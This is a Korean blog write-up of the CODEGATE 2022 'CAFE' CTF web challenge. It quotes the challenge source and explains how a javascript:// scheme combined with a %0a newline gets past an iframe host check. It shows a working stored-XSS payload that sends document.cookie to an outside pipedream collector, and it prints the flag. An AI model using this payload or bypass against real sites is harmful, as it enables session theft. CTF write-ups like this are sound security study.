ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] CODEGATE2022 CAFE Writeup
    CTF/CODEGATE2022 2022. 3. 1. 12:08

    주어진 페이지에 접근해보자. CAFE라는 서비스를 이용 할 수 있는 페이지가 나타나며, 회원가입 후 로그인하면 글을 읽고 Report를 통해 서버가 해당 작성글을 읽을 수 있도록 하는 것 같다. 전형적인 XSS문제처럼 보인다. 

     

    주어진 소스를 분석해보자.

    우선 플래그를 읽는 방법을 분석해보자. db.sql 파일에서 데이터베이스가 어떻게 세팅되는지 분석해보면, 마지막 두 줄에 걸쳐 admin계정 생성 후 admin 계정으로 "flag" 라는 title에 플래그 값을 content로 하는 글을 작성함을 알 수 있다.

    ### db.sql
    
    CREATE DATABASE IF NOT EXISTS `app` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
    use `app`;
    
    CREATE TABLE IF NOT EXISTS `users`(
      `id` VARCHAR(32) NOT NULL PRIMARY KEY,
      `pw` VARCHAR(64) NOT NULL,
      `created` DATETIME
    );
    
    CREATE TABLE IF NOT EXISTS `posts`(
      `no` INT(10) NOT NULL AUTO_INCREMENT PRIMARY KEY,
      `title` TEXT NOT NULL,
      `content` TEXT NOT NULL,
      `writer` VARCHAR(32),
      `views` INT
    );
    
    INSERT INTO `users` VALUES ('admin', '[FILTER]', now());
    INSERT INTO `posts` VALUES (0, 'flag', 'codegate2022{EXAMPLE_FLAG}', 'admin', 0);

     

    bot의 동작을 분석해보자. 우리가 예측한대로 report 요청이 오면 관리자 계정으로 로그인 후 해당 글을 읽도록 한다.

    ### bot.py
    
    #!/usr/bin/python3
    from selenium import webdriver
    from selenium.webdriver.chrome.options import Options
    from webdriver_manager.chrome import ChromeDriverManager
    import time
    import sys
    
    options = webdriver.ChromeOptions()
    
    options.add_argument('--headless')
    options.add_argument('--disable-logging')
    options.add_argument('--disable-dev-shm-usage')
    options.add_argument('--no-sandbox')
    #options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
    
    driver = webdriver.Chrome(ChromeDriverManager().install(),options=options)
    driver.implicitly_wait(3)
    
    driver.get('http://3.39.55.38:1929/login')
    driver.find_element_by_id('id').send_keys('admin')
    driver.find_element_by_id('pw').send_keys('$MiLEYEN4')
    ### 관리자 계정정보가 노출되어 언인텐 풀이가 가능하다..
    driver.find_element_by_id('submit').click()
    time.sleep(2)
    
    driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1]))
    time.sleep(2)
    
    driver.quit()

    main.php와 read.php를 분석해보면, 글을 읽는데는 글 작성 당사자 혹은 admin의 id가 필요함을 알 수 있다. 해당 로직에 활용되는 id값은는 phpsession을 통해 불러 온다.

    ### main. php
    
    ...
                <?php 
                  $id = $_SESSION['id'];
                  $posts = getPosts($id)['all'];
                  foreach($posts as $post) {
                    echo '<tr onclick=location.href="/read?no='.$post['no'].'">';
                    echo '<th scope="row">'.$post['no'].'</th>';
                    echo '<td>'.$post['title'].'</td>';
                    echo '<td>'.substr($post['content'],0,4).'..</td>';
                    echo '<td>'.$post['writer'].'</td>';
                    echo '<td>'.$post['views'].'</td>';
                    echo '</tr>';
                  }
                ?>
    ...
    
    ### read.php
    
    ...
    <?php 
      if( isset($_GET['no'])  ){
        $no = intval($_GET['no']);
        $id = $_SESSION['id'];
    
        $res = getPost($no);
    
        if ($id !== $res['val']['writer']) {
          if ($id !== 'admin') { // admin cat see all posts
            die('No');
          } 
        }
        
        updateViews($no);
    
      }
    ?>
    ...

     

    그렇다면, 우리가 생각 해 볼수 있는 시나리오는

    1. 쿠키(세션)을 탈취하는 Stored XSS 구문이 포함된 글을 작성

    2. Report 기능을 통해 admin이 해당 글에 접근하도록 하여 쿠키(세션) 탈취

    3. 탈취한 쿠키(세션)을 활용하여 로그인 후 flag 확인

    이 될 것이다.

     

    그렇다면 이제 Stored XSS를 발생시킬 구문을 어떻게 작성할지 알아보도록 하자.

    ### util.php
    
    ...
      function filterHtml($content) {
        $result = '';
    
        $html = new simple_html_dom();
        $html->load($content);
        $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];
    
        foreach($allowTag as $tag){
          foreach($html->find($tag) as $element) {
            switch ($tag) {
              case 'a':
                $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
                break;
              case 'img':
                $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
                break;
              case 'p':
              case 'span':
              case 'b':
              case 'h1':
              case 'h2':
              case 'h3':
              case 'h4':
              case 'h5':
              case 'h6':
              case 'strong':
              case 'em':
              case 'code':
                $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
                break;
              case 'iframe':
                $src = $element->src;
                $host = parse_url($src)['host'];
                if (strpos($host, 'youtube.com') !== false){
                  $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
                }
                break;
            }
          }
        }
        return $result;
      }
      
    ...

    libs/util.php 를 보면 허용되어있는 tag들과 각 tag에서의 제약사항을 알 수 있다.

     

    xss구문에서 많이 사용되는 a, img tag에서는 " 가 필터링되어, 각각 href="", src=""를 탈출 할 수 없어서 구문을 만들 수 없다. 

    (a tag의 경우 xss구문 자체를 만들 순 있지만 autofocus 가 불가능하여 사용 할 수 없다.)

     

    code tag는 익숙한 태그는 아니었는데 각 < > 안의 값이 code로 고정되어 xss를 발생시키기 어렵다고 판단했다.

    (code tag에서의 xss 구문의 예시는 다음과 같다 : <code onclick="alert(1)">test</code>)

     

    그렇다면 iframe tag를 활용해볼 차례이다. iframe tag의 제약조건에서는 src의 url에 대해 검사하는데, 특이하게 host가 youtube.com인지 검사한다. scheme에 대한 검증은 없으므로 http나 https 가 아닌 javascript scheme을 활용하여 XSS를 발생시킬 수 있다.

    이런 케이스는 실제 모의해킹 업무를 할 때 종종 보이는 케이스이다.

    대표적으로 https://service.com/login?returnUrl=~~와 같은 형식으로 로그인 성공/실패 시 redirect기능을 구현하곤 하는데, 인증되지 않은 타 사이트로의 리다이렉트를 막기 위해서 host를 검증하긴하지만 scheme에 대한 검증이 없는 경우가 있다. 

     

    이럴 때 아래와 같은 구문으로 XSS를 발생시킬 수 있다.

    javascript://service.com#%0aalert(1)

    처음 해당 구문을 발견할때는 이렇게 하면 될 것 같다는 감과 테스트를 통해서 깨우쳤(?)는데 아래와 같은 레퍼런스도 존재한다.

    https://hackerone.com/reports/316319 

     

    Semrush disclosed on HackerOne: XSS on redirection page( Bypassed)

     

    hackerone.com

    원리는 javascript: 에서 // 를 한줄주석으로 인식하여 host부분이 주석으로 인식되지만, %0a 개행 또한 개행된것으로 인식되어 뒷부분의 스크립트가 실행된다. 그러나 url이 파싱되는과정에서는 [scheme]://[host] ~~ 처럼 인식되므로 host검증은 통과 할 수 있는것이다.

     

     

    그렇다면 아래와 같이 XSS payload가 잘 작동하는지 테스트해보자.

    <iframe src="javascript://youtube.com#%0afetch('https://enngfntpvbo0otw.m.pipedream.net/'+document.cookie)"></iframe>

    정상적으로 공격자의 서버에 phpsession이 전달됨을 확인 할 수 있다.

    해당 테스트 글이 유효하므로 이를 Report하면 admin의 세션 정보를 획득 할 수 있으며

    이를 통해 flag 게시글을 읽을 수 있다.

     

    FLAG = codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}

    반응형

    'CTF > CODEGATE2022' 카테고리의 다른 글

    [Study] CODEGATE2022 myblog Writeup  (0) 2022.03.01
    [Study] CODEGATE2022 babyfirst Writeup  (0) 2022.03.01
    [Clear] CODEGATE2022 superbee Writeup  (0) 2022.03.01

    댓글

Designed by Tistory.